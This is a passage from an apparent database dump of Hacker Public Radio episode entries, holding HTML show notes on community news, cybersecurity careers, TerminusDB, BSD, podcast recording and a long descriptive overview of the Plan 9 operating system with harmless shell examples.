target=\"_blank\">3933</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-08-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3933/index.html\" target=\"_blank\">Planning for a planner.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3934/index.html\" target=\"_blank\">3934</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-08-31</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3934/index.html\" target=\"_blank\">Crusader Kings II</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0364.html\" target=\"_blank\">Tuula</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 21 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 5 comments on\n5 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3840/index.html#comments\" target=\"_blank\">hpr3840</a></strong>\n(2023-04-21) \"<em>Playing the Original Civilization</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3840/index.html#1\" target=\"_blank\">Comment 1</a>:\nTuula on 2023-08-08:\n\"this brings back memories\"</li></ul><br/>\n</limage><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3855/index.html#comments\" target=\"_blank\">hpr3855</a></strong>\n(2023-05-12) \"<em>SSH (or OpenSSH) Escape Sequences</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0152.html\" target=\"_blank\">Claudio Miranda</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3855/index.html#2\" target=\"_blank\">Comment 2</a>:\nWindigo on 2023-08-16:\n\"Secrets\"</li></ul><br/>\n</limage><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3856/index.html#comments\" target=\"_blank\">hpr3856</a></strong>\n(2023-05-15) \"<em>Painting toy soldiers</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3856/index.html#2\" target=\"_blank\">Comment 2</a>:\nTuula on 2023-08-08:\n\"great show\"</li></ul><br/>\n</limage><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3896/index.html#comments\" target=\"_blank\">hpr3896</a></strong>\n(2023-07-10) \"<em>The Brochs of Glenelg</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0268.html\" target=\"_blank\">Andrew Conway</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3896/index.html#2\" target=\"_blank\">Comment 2</a>:\nWindigo on 2023-08-23:\n\"Intriguing show topic\"</li></ul><br/>\n</limage><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3904/index.html#comments\" target=\"_blank\">hpr3904</a></strong>\n(2023-07-20) \"<em>How to make friends</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3904/index.html#2\" target=\"_blank\">Comment 2</a>:\nBeeza on 2023-08-02:\n\"Frienships\"</li></ul><br/>\n</limage></ul>\n<h3>This month\'s shows</h3>\n<p>There are 16 comments on 8 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3916/index.html#comments\" target=\"_blank\">hpr3916</a></strong>\n(2023-08-07) \"<em>HPR Community News for July 2023</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3916/index.html#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2023-08-07:\n\"grandfather clock\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3917/index.html#comments\" target=\"_blank\">hpr3917</a></strong>\n(2023-08-08) \"<em>Response to \"Permission Tickets\" by oneofspoons</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3917/index.html#1\" target=\"_blank\">Comment 1</a>:\none_of_spoons on 2023-08-21:\n\"breaking the spell\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3917/index.html#2\" target=\"_blank\">Comment 2</a>:\ndnt on 2023-08-23:\n\"re: breaking the spell\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3919/index.html#comments\" target=\"_blank\">hpr3919</a></strong>\n(2023-08-10) \"<em>How I hacked my voice</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0364.html\" target=\"_blank\">Tuula</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3919/index.html#1\" target=\"_blank\">Comment 1</a>:\none_of_spoons on 2023-08-10:\n\"Morphic resonance.\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3919/index.html#2\" target=\"_blank\">Comment 2</a>:\nTuula on 2023-08-12:\n\"lilting\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3919/index.html#3\" target=\"_blank\">Comment 3</a>:\ndnt on 2023-08-23:\n\"hacking your voice\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3919/index.html#4\" target=\"_blank\">Comment 4</a>:\nTuula on 2023-08-28:\n\"you\'re welcome\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3921/index.html#comments\" target=\"_blank\">hpr3921</a></strong>\n(2023-08-14) \"<em>HPR AudioBook Club 23 - John Carter of Mars (Books 1-3)</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0157.html\" target=\"_blank\">HPR_AudioBookClub</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3921/index.html#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-08-16:\n\"Hearing 5150\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3922/index.html#comments\" target=\"_blank\">hpr3922</a></strong>\n(2023-08-15) \"<em>Silent Key</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0394.html\" target=\"_blank\">Trey</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3922/index.html#1\" target=\"_blank\">Comment 1</a>:\nTuula on 2023-08-15:\n\"my condolences\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3922/index.html#2\" target=\"_blank\">Comment 2</a>:\nthelovebug on 2023-08-16:\n\"My condolences\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3926/index.html#comments\" target=\"_blank\">hpr3926</a></strong>\n(2023-08-21) \"<em>Karate Do: An Overview</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0410.html\" target=\"_blank\">Hipernike</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3926/index.html#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2023-08-23:\n\"Thank you for sharing.\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3926/index.html#2\" target=\"_blank\">Comment 2</a>:\nHipernike on 2023-08-28:\n\"You\'re Welcome!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3928/index.html#comments\" target=\"_blank\">hpr3928</a></strong>\n(2023-08-23) \"<em>RE: Klaatu.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3928/index.html#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2023-08-23:\n\"Good Heavens!!\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3928/index.html#2\" target=\"_blank\">Comment 2</a>:\ndnt on 2023-08-25:\n\"Good heavens!!!!!!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3933/index.html#comments\" target=\"_blank\">hpr3933</a></strong>\n(2023-08-30) \"<em>Planning for a planner.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3933/index.html#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2023-08-30:\n\"Thank you for sharing.\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3933/index.html#2\" target=\"_blank\">Comment 2</a>:\nKinghezy on 2023-08-31:\n\"Interesting topic\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://lists.hackerpublicradio.com/pipermail/hpr/2023-August/thread.html\" target=\"_blank\">https://lists.hackerpublicradio.com/pipermail/hpr/2023-August/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h2 id=\"site-migration\">Site Migration</h2>\n<ul>\n<li><p>The process of moving the HPR site to its new location and\nimplementing all of the features has been going on during August:</p>\n<ul>\n<li>Working on updating links on documentation pages</li>\n<li>Moving RSS feeds from the dynamic part of the site to the static\nside</li>\n<li>Making the comment forms work the same as before</li>\n<li>Making tags clickable</li>\n<li>Fixing Unicode problems</li>\n<li>Fixing various small bugs like the calculation of when to show the\n\"Call for shows\" message\"\"</li>\n</ul></li>\n<li><p>There are a number of problems yet to be tackled:</p>\n<ul>\n<li>Making links to pictures and other supplementary files work</li>\n<li>Making links in comments clickable</li>\n</ul></li>\n<li><p>We have had a number of very helpful problem reports, mainly\nthrough the <code>#HPR</code> channel on Matrix.</p></li>\n<li><p>It\'s also possible to raise issues on the Gitea site at <a\nhref=\"https://repo.anhonesthost.net/rho_n/hpr_generator/issues\"\nclass=\"uri\">https://repo.anhonesthost.net/rho_n/hpr_generator/issues</a>,\nthough it\'s necessary to have a username on the site before this can be\ndone.</p></li>\n</ul>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3666,'2022-08-22','One Weird Trick',997,'I talk about getting into or advancing in cybersecurity & how keyboards could trick malware.','<p>In this episode, I talk about getting in to the field of cybersecurity or moving up in the field. I also talk about how keyboards could keep malware from going Boom on your system.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><p>Try This One Weird Trick Russian Hackers Hate<br />\n<a href=\"https://krebsonsecurity.com/2021/05/try-this-one-weird-trick-russian-hackers-hate/\" class=\"uri\">https://krebsonsecurity.com/2021/05/try-this-one-weird-trick-russian-hackers-hate/</a></p></li>\n<li><p>Fake VM Sandbox artifacts - not talked about in this episode<br />\n<a href=\"https://github.com/NavyTitanium/Fake-Sandbox-Artifacts\" class=\"uri\">https://github.com/NavyTitanium/Fake-Sandbox-Artifacts</a></p></li>\n<li><p>Has your password been involved in a breach?<br />\n<a href=\"https://haveibeenpwned.com/\" class=\"uri\">https://haveibeenpwned.com/</a></p></li>\n<li><p>Realtime Global Cyber Attack Map<br />\n<a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></p></li>\n</ul>\n',405,74,1,'CC-BY-SA','cybersecurity,security,EvilSteve,malware, career',0,0,1),
(3669,'2022-08-25','My First Podcast: My Journey into the Computer World',1207,'How I was introduced into computers, Linux, robotics, programming, cibersecurity and more...','<h1 id=\"milestones-in-my-journey\">Milestones in my Journey</h1>\n<ol>\n<li>Studied Windows office and played online games</li>\n<li>Electronics</li>\n<li>Programming with Scratch</li>\n<li>Studied Javascript with Khan Academy</li>\n<li>Used Processing</li>\n<li>Learned Arduino and robotics</li>\n<li>Programmed with Visual Studio Code</li>\n<li>Learned Git</li>\n<li>Learned Windows Batch, VBS, registry, and others</li>\n<li>Introduction to Linux and disks with Tails</li>\n<li>Installation of Linux mint</li>\n<li>Installation of Debian</li>\n<li>Learned Apt, sudo, and other commands</li>\n<li>Discovered the Raspberry Pi</li>\n<li>Learned ssh, vnc, servers and networking with the Raspberry Pi</li>\n<li>Received a Thinkpad laptop and installed on it Bodhi Linux, Linux Lite and Alpine Linux</li>\n<li>Learned about erasure, recovery and encryption of data</li>\n<li>Learned more about Linux (Screen, network configuration, emacs, programming in C)</li>\n<li>Discovered <a href=\"https://nethackwiki.com/wiki/NetHack\">Nethack</a> and <a href=\"https://gitlab.com/esr/open-adventure\">Open Adventure</a> console games</li>\n<li>Studied hacking and pentesting</li>\n<li>Helped a company with its computers and learned from it guys</li>\n<li>Introduction to Python and BSD</li>\n</ol>\n',410,29,0,'CC-BY-SA','linux, programming, cibersecurity, robotics, hardware',0,0,1),
(3678,'2022-09-07','\"Stupid Users\" ... no, not those users, the other \"stupid users\"',907,'Brady & I discuss stupid things done by those of us who really should know better.','<p>In this week\'s episode, I chat with R. Brady Frost about the little plumber vs the gigantic rock. Then we move in to a discussion about the fallacy of stupid users with some great stories of stupid things done by those of us who really should know better. The moral of the story, is that we are all human and nothing will ever change that. Instead, we need to be prepared for when humans are human.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li>Realtime Global Cyber Attack Map<br />\n<a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></li>\n</ul>\n',405,74,1,'CC-BY-SA','cybersecurity,security,EvilSteve,users,stupid human tricks,customer service',0,0,1),
(3689,'2022-09-22','Linux Inlaws S01E65: TerminusDB',4071,'TerminusDB NoSQL database','<p>As part of the effort of turning the planet\'s premier Rust marketing podcast into a full-blown NoSQL show, in this episode Chris hosts some of the key people behind a NoSQL database called TerminusDB (Martin couldn\'t make it as he was firing, um, re-organising the Inlaw\'s marketing department once again). Luke (the CEO) and Gavin (CTO) of TerminusDB spill the beans on the history of the project, ontologies and why they still matter not only in a mobile-first world and why a website called DB Engines simply doesn\'t do the trick (putting it very diplomatically). Never mind the road ahead... (including quantum AI and some other fancy stuff - you heard it here first!). And also next week\'s lotto numbers (perhaps).</p>\n<h2>Links:</h2>\n<ul>\n<li>Trinity College Dublin: <a href=\"https://tcd.ie\" target=_blank>https://tcd.ie</a></li>\n<li>TerminusDB: <a href=\"https://terminusdb.com\" target=_blank>https://terminusdb.com</a></li>\n<li>TerminusDB on Github: <a href=\"https://github.com/terminusdb/terminusdb\" target=_blank>https://github.com/terminusdb/terminusdb</a></li>\n<li>Seshat: <a href=\"http://seshatdatabank.info\" target=_blank>http://seshatdatabank.info</a></li>\n<li>DBpedia: <a href=\"https://www.dbpedia.org\" target=_blank>https://www.dbpedia.org</a></li>\n<li>Terminus @ Isaac Asimov: <a href=\"https://en.wikipedia.org/wiki/Foundation_series\" target=_blank>https://en.wikipedia.org/wiki/Foundation_series</a></li>\n<li>RDFs: <a href=\"https://www.w3.org/TR/rdf11-concepts\" target=_blank>https://www.w3.org/TR/rdf11-concepts</a></li>\n<li>HDT: <a href=\"https://www.rdfhdt.org/what-is-hdt\" target=_blank>https://www.rdfhdt.org/what-is-hdt</a></li>\n<li>Rust episode (S01E53): <a href=\"http://hackerpublicradio.org/eps.php?id=3569\" target=_blank>http://hackerpublicradio.org/eps.php?id=3569</a></li>\n<li>Open source licenses episode (S01E536): <a href=\"https://hackerpublicradio.org/eps.php?id=3399\" target=_blank>https://hackerpublicradio.org/eps.php?id=3399</a></li>\n<li>TerminusDB @ Social: <a href=\"https://terminusdb.com/community\" target=_blank>https://terminusdb.com/community</a></li>\n<li>AI Infrastructure Alliance: <a href=\"https://ai-infrastructure.org\" target=_blank>https://ai-infrastructure.org</a></li>\n<li>Google\'s Carbon: <a href=\"https://github.com/carbon-language/carbon-lang\" target=_blank>https://github.com/carbon-language/carbon-lang</a></li>\n<li>When we cease to understand the world: <a href=\"https://en.wikipedia.org/wiki/Benjam%C3%ADn_Labatut#When_We_Cease_to_Understand_the_World\" target=_blank>https://en.wikipedia.org/wiki/Benjamín_Labatut#When_We_Cease_to_Understand_the_World</a></li>\n<li>Substack: <a href=\"https://benn.substack.com\" target=_blank>https://benn.substack.com</a></li>\n<li>Chi-Raq: <a href=\"https://www.imdb.com/title/tt4594834/?ref_=fn_al_tt_1\" target=_blank>https://www.imdb.com/title/tt4594834/?ref_=fn_al_tt_1</a></li>\n</ul>\n',384,111,1,'CC-BY-SA','TerminusDB, graph databases, Seshat, Rust, Carbon by Google, Substack',0,0,1),
(3671,'2022-08-29','Response to Episode 3655, \"BSD for Linux Users\"',674,'Claudio responds to binrc\'s episode on BSD for Linux Users and rambles on about other BSD stuff.','<h2 id=\"my-geeeky-experiment-blog-posts\">My gEeeky Experiment blog posts:</h2>\n<ul>\n<li>Part 1: <a href=\"https://claudiomiranda.wordpress.com/2020/01/04/my-geeeky-experiment-part-1/\" class=\"uri\">https://claudiomiranda.wordpress.com/2020/01/04/my-geeeky-experiment-part-1/</a></li>\n<li>Part 2: <a href=\"https://claudiomiranda.wordpress.com/2020/01/12/my-geeeky-experiment-part-2/\" class=\"uri\">https://claudiomiranda.wordpress.com/2020/01/12/my-geeeky-experiment-part-2/</a></li>\n<li>Part 3: <a href=\"https://claudiomiranda.wordpress.com/2020/10/04/my-geeeky-experiment-part-3/\" class=\"uri\">https://claudiomiranda.wordpress.com/2020/10/04/my-geeeky-experiment-part-3/</a></li>\n</ul>\n<h2 id=\"my-geeeky-experiment-hpr-episodes\">My gEeeky Experiment HPR Episodes:</h2>\n<ul>\n<li>Part 1: <a href=\"https://hackerpublicradio.org/eps.php?id=3383\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=3383</a></li>\n<li>Part 2: <a href=\"https://hackerpublicradio.org/eps.php?id=3418\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=3418</a></li>\n<li>Part 3: <a href=\"https://hackerpublicradio.org/eps.php?id=3527\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=3527</a></li>\n</ul>\n<ul>\n<li>Blog post about my Evoo laptop (and then some): <a href=\"https://claudiomiranda.wordpress.com/2022/06/20/a-new-beastie-and-an-old-slacker/\" class=\"uri\">https://claudiomiranda.wordpress.com/2022/06/20/a-new-beastie-and-an-old-slacker/</a></li>\n</ul>\n',152,0,1,'CC-BY-SA','bsd, openbsd, freebsd, netbsd, binrc, response, unix',0,0,1),
(3673,'2022-08-31','Recording for Hacker Public Radio',1066,'My experiences recording episodes of HPR','<ul>\n<li>How I\'ve recorded episodes:\n<ul>\n<li>iPhone 7 with Apple earbuds</li>\n<li>Zoom H1 Handy Recorder</li>\n<li>Sennheiser MB Pro 2 with <a href=\"https://gitlab.com/norrist/solocast\">Solocast</a></li>\n<li>Google Pixel 3 with the Dolby On app</li>\n</ul></li>\n<li>What is the compressor, and how to use it.</li>\n<li>What is the EQ, and how to use it.</li>\n<li>Environment, noise and reverberation</li>\n<li>Warming up, breathing</li>\n</ul>\n<p>Episodes referenced here:<br />\n<a href=\"http://hackerpublicradio.org/eps.php?id=3625\">hpr3625 :: Shell Tips and Snippets - Collaborative Effort hosted by Carl</a><br />\n<a href=\"http://hackerpublicradio.org/eps.php?id=3496\">hpr3496 :: How I record HPR Episodes</a><br />\n<a href=\"http://hackerpublicradio.org/eps.php?id=1342\">hpr1342 :: Power Tool Drag Racing! hosted by MrGadgets</a></p>\n<p>All the information in this show is just what I have learned and what I think. Let us know if you have learned other things by recording your own show!</p>\n',399,45,0,'CC-BY-SA','\"sound editing\"',0,0,1),
(3675,'2022-09-02','Plan 9: An exercise in futility',4771,'I talk about the design of Plan 9 and how I use it','<h1 id=\"plan-9-an-exercise-in-futility\">Plan 9: An exercise in futility</h1>\n<h5 id=\"it-is-my-right-to-exercise-my-futility-wherever-whenever-and-with-whoever-i-please\">It is my right to exercise my futility wherever, whenever, and with whoever I please</h5>\n<h1 id=\"some-ideas-about-plan-9\">Some ideas about Plan 9:</h1>\n<blockquote>\n<p>It\'s like the uncanny valley of UNIX</p>\n</blockquote>\n<blockquote>\n<p>Cool, but useless</p>\n</blockquote>\n<blockquote>\n<p>Can you sum up plan 9 in layman\'s terms? It does everything Unix does only less reliably - Ken Thompson</p>\n</blockquote>\n<blockquote>\n<p>If you cannot imagine a use for a computer that does not involve a web browser, Plan 9 may not be for you - 9front FQA</p>\n</blockquote>\n<blockquote>\n<p><code>#d/0:28: null list in concatenation</code></p>\n</blockquote>\n<h1 id=\"history-and-description\">History and description</h1>\n<p>The boys at bell labs decide UNIX wasn\'t good enough so they decided to build something better: a distributed multiuser operating system composed of many machines. Many of the same ideas behind UNIX were pushed to absurd extremes. The idea that \"everything is a file\" is made blatantly apparent to everyone and sometimes, in my opinion, can feel \'overly-abstracted\'. Additionally, the concept of private namespaces makes the concept of virtual filesystems seem like \'baby\'s first filesystem abstraction\'.</p>\n<p>Just like UNIX, 9 started as a research operating system. Both are enjoyed by hobbyists, both are interesting ways of using a computer, both have a lot of fun in store. But the systems do diverge in one major aspect: UNIX is mainstream and 9 is still a research operating system. Plan 9 is currently distributed under the MIT license.</p>\n<p>\"What is plan 9?\", Taken directly from <code>intro(1)</code>:</p>\n<blockquote>\n<p>Plan 9 is a distributed computing environment assembled from separate machines acting as terminals, CPU servers, and file servers. A user works at a terminal, running a window system on a raster display. Some windows are connected to CPU servers; the intent is that heavy computing should be done in those windows but it is also possible to compute on the terminal. A separate file server provides file storage for terminals and CPU servers alike.</p>\n</blockquote>\n<p>In practice, modern 9 users just run all of these services on a single machine because maintaining many machines to achieve a single usable \'operating system\' is unnecessary; the 9 user finds himself scared and alone without enough users (1 is rarely enough) to justify building a distributed environment.</p>\n<h1 id=\"use-cases\">Use cases</h1>\n<p>Intended: distributed multiuser network (ie not mainframe), later embedded since UNIX was too bad to be stopped</p>\n<p>Actual: Acting like a UNIX hipster, pretending that 9 is anything other than vaporware, imagining that you are gaining social credit by posting screenshots of abandonware on internet forums. See also: Operating System Tourism</p>\n<h1 id=\"9-in-the-wild\">9 in the wild</h1>\n<ul>\n<li>Unicode is now a plague</li>\n<li>rfork</li>\n<li>9p\n<ul>\n<li>leveraged by microsoft to discourage end users from actually running GNU+Linux as St Ignucius intended</li>\n<li>QEMU\'s VirtFS</li>\n</ul></li>\n<li>various window managers for UNIX, written by people who like the ideas behind 9 but not enough to actually run 9</li>\n<li>\"cool idea, I\'m adding it to Linux\"</li>\n</ul>\n<ul>\n<li>private namespaces</li>\n<li>union directories</li>\n<li>see: docker</li>\n</ul>\n<h1 id=\"design\">Design</h1>\n<p>The goal of 9 was to build a distributed operating system that expands upon Unixy ideas, <strong>not</strong> to build something that\'s backwards compatible. \"We want to improve UNIX\" is mutually exclusive to \"we want to port UNIX to this wacky new kernel\". UNIX programs (and behemoths like FireFox) are difficult^impossible to port to 9 because of this design decision.</p>\n<h2 id=\"distributed-operating-systems\">Distributed operating systems</h2>\n<p>Since 9 was designed to be a distributed operating system, many of the internals are oriented towards networking. On a single system installation, all three of the components that make a 9 network are working together in a client-server model. The filesystem is presented as a service, the CPU is presented as a service, and the terminal is presented as a service. This type of \"abstraction from the physical hardware\" makes it difficult to succinctly describe and explain 9.</p>\n<p>If you think about 9 as a heterogeneous network of machines the ideas start to make sense. If you think about 9 as a self-contained single-machine operating system the ideas only become more confusing.</p>\n<p>One thing that has helped me wrap my head around the client/server idea is actually thinking less. When running a MySQL server in a LAMP stack, the database server and client are running on the same machine. When writing a program, you instruct the client to access the database located at the address <code>localhost</code>. Despite the design intention to run the database as a separate machine, loopback device hacks ensue. The idea of client/server permeates 9.</p>\n<p>The filesystem? Presented as a server regardless of what physical machine it\'s located on. The CPU? Presented as a server regardless of what physical machine it\'s located on. The terminal? Presented as a server regardless of the physical machine it\'s located on.</p>\n<p>On a single machine 9 installation, all of these servers are running locally but accessed <em>as if</em> they were running remotely. Insanity ensues but at least it\'s easier to write code for.</p>\n<h2 id=\"9p-the-plan-9-filesystem-protocol\">9p: the Plan 9 Filesystem Protocol</h2>\n<p>9p is a networking protocol that makes this client/server model possible. Internally, the filesystem is served to the client over 9p. Many applications make use of 9p, including text editors, windowing systems, plumber, etc. In UNIX, everything is a file. In 9, everything is a filesystem accessed via 9p.</p>\n<h2 id=\"private-namespaces-union-directories\">Private Namespaces, Union Directories</h2>\n<p>The most important aspect of 9: namespaces.</p>\n<p>Namespaces have caused me much confusion until recently. In 9, each process constructs a unique view of the filesystem. The phrase that gets stuck in my head is \"a private namespace is a per-process view of the filesystem\". The easiest way to think about namespaces is to think about a \"virtual directory\". Unix has \"virtual filesystems\", 9 has \"virtual directories\".</p>\n<p>The concept of namespaces allows a user to pull resources from all over the network and present them as \"a single local filesystem\" with absolute disregard for where these resources are actually coming from. In order to construct a namespace, union directories are used. A union directory is a directory made of several directories bound to the same directory. This concept is similar to a bind mount on UNIX.</p>\n<p>The kernel keeps separate mount table for each process. Using namespaces, a user or admin can create more secure isolated environments (similar to a chroot).</p>\n<p>Processes and their children are grouped together so that inheritance of the namespace occurs. These process groups can be customized.</p>\n<hr />\n<p>The \'per-process namespace\' concept can be confusing to UNIX users at first, especially when binding (ie mounting) resources. When I first started using 9 I was very confused when I bound something in one terminal, switched to another, then became disoriented as the thing I just bound seemingly stopped existing. My big example is mounting the boot partition or a filesystem over ssh:</p>\n<pre class=\"sh\"><code># In this window, I have bound the boot partition.\n# It behaves expectedly.\nterm% 9fs 9fat\nterm% lc /n\n9/ 9fat/ other/ ssh/\nterm% lc /n/9fat\n9bootfat 9pc64 oldplan9.ini plan9.ini\n9pc efi/ pbs.bak\nterm%\n</code></pre>\n<pre class=\"sh\"><code># In this other window, the boot partition doesn&#39;t seem to be mounted.\n# This causes much confusion for the end user.\nterm% lc /n\n9/ 9fat/ other/ ssh/\nterm% lc /n/9fat\nterm%\n</code></pre>\n<hr />\n<h1 id=\"files\">Files</h1>\n<p>The second most important aspect of 9: \"Everything is a file\" taken to absurdist absolutes. The kernel presents hardware devices as files bound to /dev. Within the namespace, devices are just files. Outside the namespace, devices are named with a leading <code>#</code> to help distinguish between pseudo-files and devices. These physical devices are bound to <code>/dev/</code> and presented as files for easy administration, access, and programming. Presenting everything as a file accessible via 9p greatly reduces the total number of system calls.</p>\n<hr />\n<p>Examples of \"Everything is a file\":</p>\n<pre class=\"sh\"><code># The clipboard in 9 is called /dev/snarf\n# We can easily write and read from this clipboard\nterm% cat /dev/snarf\nSYNOPSIS\n#include &lt;u.h&gt;\n\n#include &lt;libc.h&gt;\n\n#include term%\nterm% fortune &gt; /dev/snarf\nterm% cat /dev/snarf\nIf at first you succeed, try to hide your astonishment.\nterm%\n</code></pre>\n<pre class=\"sh\"><code># The display in 9 is called /dev/screen\n# We can easily take a screenshot\nterm% file /dev/screen\n/dev/screen: plan 9 image, depth 32, size 1366x768\nterm% cat /dev/screen | topng &gt; screenshot.png\nterm% file screenshot.png\nscreenshot.png: PNG image\nterm%\n</code></pre>\n<hr />\n<h2 id=\"message-oriented-filesystem\">Message oriented filesystem</h2>\n<p>Continuing with the idea that \"everything is a filesystem\", processes can offer services to other processes by placing virtual files into other processes\' namespaces. File I/O on this special virtual file becomes interprocess communication. This is similar to a UNIX socket but significantly less difficult to program against because all of the hard parts have been abstracted: it\'s just simple file I/O.</p>\n<h2 id=\"virtual-filesystem-with-more-special-files\">Virtual filesystem (with more special files)</h2>\n<p>The <code>/proc</code> filesystem presents processes as a files in a filesystem. This makes writing programs that manage process extremely easy by reducing the total number of system calls to simple file I/O. The <code>/proc</code> filesystem allows users to manage processes using standard command line utilities like <code>cat(1)</code> and <code>ls(1)</code>.</p>\n<p>Linux borrowed the idea of a <code>/proc</code> filesystem.</p>\n<h2 id=\"unicode\">Unicode</h2>\n<p>Although the implementation is not fully internationalized, UTF-8 is fully there. Unicode is fully backwards compatible with ASCII. Thanks to &#x2468;, we now have people writing exclusively with primitive hieroglyphics instead of words.</p>\n<h2 id=\"portability\">Portability</h2>\n<p>Just like UNIX, 9 was designed with portability in mind. 9 is written in a strange dialect of ANSI C which means it\'s portable. Although the system is self hosting, images are rarely built on a self hosting environment. Instead, the end user will download a generic amd64 or i386 image, cross compile for the obscure target architecture, wrap it up in an install image, then burn that image to an install disk. After installation, it is generally a good idea to recompile the entire operating system so that your copy is self-hosted.</p>\n<p>The compiler suite is quite clever in that each compiler is named according to the target architecture, the object files are named according to the target architecture, etc. The alnum 